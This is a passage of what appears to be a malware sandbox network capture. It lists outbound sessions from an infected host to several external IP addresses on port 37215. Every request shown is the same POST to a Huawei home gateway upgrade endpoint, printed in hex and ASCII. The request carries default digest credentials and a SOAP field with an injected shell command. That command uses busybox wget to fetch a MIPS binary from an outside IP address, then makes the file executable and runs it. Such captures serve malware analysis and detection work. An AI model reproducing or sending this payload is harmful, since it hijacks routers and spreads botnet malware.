0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	47964	45.120.76.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:22.011636972 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:23.416541100 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:25.076328993 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:28.563817978 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:35.218877077 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:48.529072046 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:15.661324024 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	55660	41.191.117.11	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:22.242660999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	48250	94.122.11.71	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:22.582999945 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
